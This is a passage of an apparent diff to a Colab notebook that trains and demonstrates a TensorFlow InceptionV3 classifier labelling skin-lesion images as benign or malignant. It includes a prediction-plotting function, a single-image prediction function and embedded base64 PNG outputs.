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",
+            "text/plain": [
+              ""
+            ]
+          },
+          "metadata": {
+            "needs_background": "light"
+          },
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "def plot_images(X_test, y_pred, y_test):\n",
+        "  predicted_class_names = np.array([class_names[int(round(id))] for id in y_pred])\n",
+        "  # some nice plotting\n",
+        "  plt.figure(figsize=(10,9))\n",
+        "  for n in range(30, 60):\n",
+        "      plt.subplot(6,5,n-30+1)\n",
+        "      plt.subplots_adjust(hspace = 0.3)\n",
+        "      plt.imshow(X_test[n])\n",
+        "      # get the predicted label\n",
+        "      predicted_label = predicted_class_names[n]\n",
+        "      # get the actual true label\n",
+        "      true_label = class_names[int(round(y_test[n]))]\n",
+        "      if predicted_label == true_label:\n",
+        "          color = \"blue\"\n",
+        "          title = predicted_label.title()\n",
+        "      else:\n",
+        "          color = \"red\"\n",
+        "          title = f\"{predicted_label.title()}, true:{true_label.title()}\"\n",
+        "      plt.title(title, color=color)\n",
+        "      plt.axis('off')\n",
+        "  _ = plt.suptitle(\"Model predictions (blue: correct, red: incorrect)\")\n",
+        "  plt.show()\n",
+        "\n",
+        "plot_images(X_test, y_pred, y_test)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 33,
+      "metadata": {
+        "id": "P90i8WNeo8P0"
+      },
+      "outputs": [],
+      "source": [
+        "# a function given a function, it predicts the class of the image\n",
+        "def predict_image_class(img_path, model, threshold=0.5):\n",
+        "  img = tf.keras.preprocessing.image.load_img(img_path, target_size=(299, 299))\n",
+        "  img = tf.keras.preprocessing.image.img_to_array(img)\n",
+        "  img = tf.expand_dims(img, 0) # Create a batch\n",
+        "  img = tf.keras.applications.inception_v3.preprocess_input(img)\n",
+        "  img = tf.image.convert_image_dtype(img, tf.float32)\n",
+        "  predictions = model.predict(img)\n",
+        "  score = predictions.squeeze()\n",
+        "  if score >= threshold:\n",
+        "    print(f\"This image is {100 * score:.2f}% malignant.\")\n",
+        "  else:\n",
+        "    print(f\"This image is {100 * (1 - score):.2f}% benign.\")\n",
+        "    \n",
+        "  plt.imshow(img[0])\n",
+        "  plt.axis('off')\n",
+        "  plt.show()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 34,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 355
+        },
+        "id": "NxmEtkuryAob",
+        "outputId": "0f8fba67-0393-4a39-f6d6-621f3f9825fb"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "1/1 [==============================] - 0s 27ms/step\n"
+          ]
+        },
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n"
+          ]
+        },
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "[[0.6803772]]\n",
+            "0.6803772\n",
+            "This image is 68.04% malignant.\n"
+          ]
+        },
+        {
+          "data": {
+            "image/png": "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